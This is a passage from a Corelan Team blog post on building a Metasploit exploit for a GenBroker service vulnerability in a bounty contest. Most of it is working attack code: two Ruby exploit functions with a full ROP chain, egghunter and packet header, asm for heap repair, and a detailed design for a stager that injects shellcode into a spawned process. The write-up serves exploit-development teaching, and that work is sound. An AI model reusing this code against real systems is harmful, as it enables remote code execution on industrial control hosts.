0172efac 01837d93 kernel32!Heap32First+0x48
WARNING: Frame IP not in any known module. Following frames may be wrong.
0172f874 7c8024c7 +0x1837d92
0172f878 00000000 kernel32!ReleaseMutex+0x10

It looks like something went wrong during a heap related operation.

Hmmm.

We could write some code that would basically upload a meterpreter executable and run it, but that’s suboptimal to say the least.  We really have to solve the issue in order to deliver a nice and reliable exploit module.

sinn3r suggested to try to use a smaller packet, trying to prevent the heap from being smashed, so that’s the first thing we tried.

 

The trials and tribulations

Smaller packet

I tried changing the total length of the packet, but unfortunately it didn’t really help. If the payload is too small, we’re not gaining control over EIP anymore. With a larger packet, we continue to breaking the heap.

copy shellcode to stack – memcpy()

Maybe copying the shellcode to the stack (after it was located in the heap) might work.  I wrote a few lines of asm which copies the shellcode (after it was found by the egghunter), copy it onto the stack, and run it.

The modified Metasploit module now looks like this :

def exploit

	move_stub_asm = %Q|
		push 0x450
		add edi,0x1b
		push edi
		push esp
		pop ebx
		sub ebx, 2000
		push ebx
		push ebx
		mov eax,0x10162888
		push [eax]
		ret

	|
	move_stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, move_stub_asm).encode_string

	thepayload = move_stub << payload.encoded

	eggoptions =
	{
		:eggtag => 'w00t',
	}

	hunter, egg = generate_egghunter(thepayload, "", eggoptions)

	header  = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00"
	header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40"

	rop_chain = [
		0x100b257b,     # POP ESP # RETN
		0x771a22e4,     # pointer in ecx -> initial ret to ret to pointer -> beg rop (thank you mona.py)
		0x10047355,    # Duplicate, readable, RETN
		0x10047355,    # POP EAX # RETN ** [GenClientU.dll] 
		0xffffffde,
		0x7c3b2c65,    # NEG EAX # RETN ** [MSVCP71.dll]
		0x1011e33e,    # XCHG EAX,EDX # RETN
		0x1001ab22,    # POP ECX # RETN ** [GenClientU.dll]
		0x77dd1404,    # ptr to ptr to NtSetInformationProcess() (ADVAPI.dll, static on XP)
		0x100136c0,    # MOV EAX,DWORD PTR DS:[ECX] # RETN ** [GenClientU.dll] 
		0x1008cfd1,    # POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll]
		0x10080163,    # POP ESI # RETN -> EDI
		0x41414141,
		0x41414141,
		0xffffffff,    # NtCurrentProcess() (EBX)
		0x7c331d24,    # ptr to 0x2 -> ECX 
		0x10090e3d,    # XCHG EAX,EBP # RETN ** [GenClientU.dll]
		0x10047355,    # POP EAX # RETN ** [GenClientU.dll] 
		0xfffffffc,
		0x7c3b2c65,    # NEG EAX # RETN ** [MSVCP71.dll]
		0x100dda84,    # PUSHAD # RETN ** [GenClientU.dll]
		0x90908aeb,     # go to egghunter
	].pack('V*')

	sploit  = target['Ret'] * 180
	sploit << "\x7f" * 34    #max buffer + max memcpy()
	sploit << hunter    #32 byte hunter, no room for checksum
	sploit << rop_chain
	sploit << "\x41" * 20            #clear out rest of the stack 
	sploit << "\x40" * 8            #nops
	sploit << egg

	sploit << "B" * (target['Max']-sploit.length)

	connect
	print_status("Sending request...")
	sock.put(header + sploit)
	select(nil,nil,nil,15)                  #increase timeout for egghunter plus virtualalloc() + memcpy()
	handler
	disconnect

end

Unfortunately that didn’t work either.

 

put shellcode in a new heap – virtualalloc() + memcpy()

Perhaps we have to create a new heap (using virtualalloc(), copy the shellcode to the new heap, and run it).   I inserted a new asm block which allocates some RWX memory, copies the shellcode and runs it.

def exploit

	move_stub_asm = %Q|
		mov eax,0x77dd121c
		push 0x40
		push 0x1000
		push 0x1000
		push 0
		call [eax]

		push 0x450
		add edi,0x28
		push edi
		push eax
		push eax
		mov eax,0x10162888
		push [eax]
		ret

	|
	move_stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, move_stub_asm).encode_string

	thepayload = move_stub << payload.encoded

	eggoptions =
	{
		:eggtag => 'w00t',
	}

	hunter, egg = generate_egghunter(thepayload, "", eggoptions)

	header  = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00"
	header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40"

	rop_chain = [
		0x100b257b,     # POP ESP # RETN
		0x771a22e4,     # pointer in ecx -> initial ret to ret to pointer -> beg rop (thank you mona.py)
		0x10047355,    # Duplicate, readable, RETN
		0x10047355,    # POP EAX # RETN ** [GenClientU.dll] 
		0xffffffde,
		0x7c3b2c65,    # NEG EAX # RETN ** [MSVCP71.dll]
		0x1011e33e,    # XCHG EAX,EDX # RETN
		0x1001ab22,    # POP ECX # RETN ** [GenClientU.dll]
		0x77dd1404,    # ptr to ptr to NtSetInformationProcess() (ADVAPI.dll, static on XP)
		0x100136c0,    # MOV EAX,DWORD PTR DS:[ECX] # RETN ** [GenClientU.dll] 
		0x1008cfd1,    # POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll]
		0x10080163,    # POP ESI # RETN -> EDI
		0x41414141,
		0x41414141,
		0xffffffff,    # NtCurrentProcess() (EBX)
		0x7c331d24,    # ptr to 0x2 -> ECX 
		0x10090e3d,    # XCHG EAX,EBP # RETN ** [GenClientU.dll]
		0x10047355,    # POP EAX # RETN ** [GenClientU.dll] 
		0xfffffffc,
		0x7c3b2c65,    # NEG EAX # RETN ** [MSVCP71.dll]
		0x100dda84,    # PUSHAD # RETN ** [GenClientU.dll]
		0x90908aeb,     # go to egghunter
	].pack('V*')

	sploit  = target['Ret'] * 180
	sploit << "\x7f" * 34    #max buffer + max memcpy()
	sploit << hunter            #32 byte hunter, no room for checksum
	sploit << rop_chain
	sploit << "\x41" * 20            #clear out rest of the stack 
	sploit << "\x40" * 8            #nops
	sploit << egg

	sploit << "B" * (target['Max']-sploit.length)

	connect
	print_status("Sending request...")
	sock.put(header + sploit)
	select(nil,nil,nil,15)                  #increase timeout for egghunter plus virtualalloc() + memcpy()
	handler
	disconnect

end

Still no go.

 

Fix heap – HeapCreate()

All previous attempts to make meterpreter work have failed.

At this point, Peter jumped in again. He spoke with HDM who suggested trying to fix the default heap.

The easiest way to do this is by creating a fresh new heap (HeapCreate()) and to replace a pointer in the PEB (which indicates the baseaddress of the default process heap) with the baseaddress of the new heap.

The pointer to the PEB is located at TIB+0x30. We can access this value using fs:[0x30].   At offset 0x18 in the PEB, we find the pointer to pointer to the default heap.

A basic example of asm code to do this would look like this. We obviously need to find a static/reliable pointer to kernel32.HeapCreate(), but since we were still “trying”, we decided to just hardcode the pointer for now.

mov eax,0x12345678	; put pointer to Kernel32.HeapCreate() in eax
push 0x2000		; set up arguments
push 0x1000
push 0x40000
call eax		; call HeapCreate()

mov ebx,[fs:0x30]	; peb
add ebx,0x18		; default process heap in peb
mov [ebx],eax		; replace default process heap

Unfortunately, this technique didn’t work either, so we didn’t even have to figure out a way to get a reliable pointer to HeapCreate() (which would be trivial really – we could simply write some shellcode to get the base of kernel32 and then locate the pointer to the HeapCreate function()… – anyways, no need, doesn’t work)

 

 

ASM time!

At this point, Peter realized we need an entirely different approach to fixing this last (but important) problem. He decided to write a stager that would (hopefully) overcome all shellcode execution / heap related issues.

The plan is to place the stager right before the actual shellcode and have it migrate the shellcode into a new process.  Since the target (genbroker) runs as a service and does not interact with the desktop, it should be pretty simple to spawn a new process (without triggering an unexpected/rogue gui application on the desktop) and inject the actual shellcode into it.

This is what the stager does :

First, it finds the base of kernel32.dll, followed by locating the function pointers to the following API’s in kernel32 :

  • getStartupInfo()
  • Sleep()
  • CreateProcessA()
  • VirtualAllocEx()
  • WriteProcessMemory()
  • CreateRemoteThread()

Next, it gets a pointer to “calc”, a string placed at the end of the migrator/stager.

Before creating a new process, the migrator grabs the startupinfo structure from the current process and writes it onto the stack. This will make it easier to create a new process because we can simply reuse it.

Next, the stack is set up with the arguments for CreateProcess() :

BOOL WINAPI CreateProcess(
  __in_opt     LPCTSTR lpApplicationName,
  __inout_opt  LPTSTR lpCommandLine,
  __in_opt     LPSECURITY_ATTRIBUTES lpProcessAttributes,
  __in_opt     LPSECURITY_ATTRIBUTES lpThreadAttributes,
  __in         BOOL bInheritHandles,
  __in         DWORD dwCreationFlags,
  __in_opt     LPVOID lpEnvironment,
  __in_opt     LPCTSTR lpCurrentDirectory,
  __in         LPSTARTUPINFO lpStartupInfo,
  __out        LPPROCESS_INFORMATION lpProcessInformation
);

The lpCommandLine argument is the pointer to “calc”, lpStartupInfo is the pointer to the startupinfo structure we grabbed earlier, and lpProcessInformation contains a pointer to the stack (indicating where the CreateProcess() call can write the process information to)

After the call to CreateProcess(), a new childprocess “calc” is found running.  In order to allow the process to properly initialize, the call is followed by kernel32.Sleep(3000), basically allowing calc.exe to initialize for 3 seconds.   This is a bit “ugly”… a call to WaitForInputIdle() would have been better, but that API is not part of kernel32 (and loading user32.dll would only make the shellcode larger). Furthermore, the process we are spawning (calc.exe) is small and fast.  Simply waiting for 3 seconds should never be an issue.

Next, the handle to the newly created process is retrieved from the ProcessInformation structure that was written onto the stack during the CreateProcess() call.   Using that handle, VirtualAllocEx() can allocate some RWX memory inside the newly created process.  When this call returns, eax contains the base address of the allocated memory.

Next, the code uses WriteProcessMemory() to copy the shellcode (which is placed right after the migrator code) to the allocated memory in the new process.

Finally, a call to CreateRemoteThread() (again using the process handle and the base address of the allocated memory) will kick off the shellcode inside the new process.

You can find the entire asm routine here (start at line 75)

Corelan wouldn’t be Corelan if we would not try to make this solution generic, so Peter submitted his migrator as an option to the payload generator routine in Metasploit. If and when it gets accepted (who knows), you should be able to migrate any shellcode into a new process by simply setting some Payload options :

Example :

'Payload'        =>
    {
    'BadChars' => "\x00",
    'Migrate'  => 'True',
    'MigrateOptions' =>
        {
            'Delay'    => 2,
            'Process' => "cmd",
        },
    },

This will generate the migrator and prepend it to the shellcode (before encoding it, if needed).  Of course, this will make the total shellcode bigger,  but at least it will be reliable and can be used as a last resort in case the current process memory is severely crunched and melted down.

Note that, in order to be able to hide the GUI of the newly created process, you’ll have to use a console app (such as cmd.exe, which is the default btw).  If your target is running as a service, which does not interact with the desktop, you can use any other process.

 

 

The final test

image

image

 

Woot!

Mission accomplished !

All in all this was extremely fun and I appreciate the contest Metasploit put together.

I had pushed everything I learned to the limit and in the process managed to learn few new things, and at the end of the day that’s what it’s all about, so I hope you enjoyed this ride as much as we did.

You can find the entire Metasploit module here

 

 

Special Thanks

  • Luigi Auriemma – for discovering the vulnerability and poc, as well as support
  • Peter Van Eeckhoutte “corelanc0d3r” – for co-writing parts of the article and assisting me when all else failed!
  • HDM – for pointing out the problem with Meterpreter and suggesting to try to fix the heap.
  • Dillon Beresford – For confirming that Windows XP is the most commonly used target for HMI applications.
  • sinn3r – For patiently testing the application with me
  • my wife – For supporting my hobby
  • and of course Corelan Team – putting up with my antics!

 


© 2011 – 2021, Corelan Team (Lincoln). All rights reserved.

One Response to Metasploit Bounty – the Good, the Bad and the Ugly

Corelan Training

We have been teaching our win32 exploit dev classes at various security cons and private companies & organizations since 2011

Check out our schedules page here and sign up for one of our classes now!

Donate

Want to support the Corelan Team community ? Click here to go to our donations page.

Want to donate BTC to Corelan Team?



Your donation will help funding server hosting.

Corelan Team Merchandise

You can support Corelan Team by donating or purchasing items from the official Corelan Team merchandising store.

Protected by Copyscape Web Plagiarism Tool

Corelan on Slack

You can chat with us and our friends on our Slack workspace:

  • Go to our facebook page
  • Browse through the posts and find the invite to Slack
  • Use the invite to access our Slack workspace
  • Categories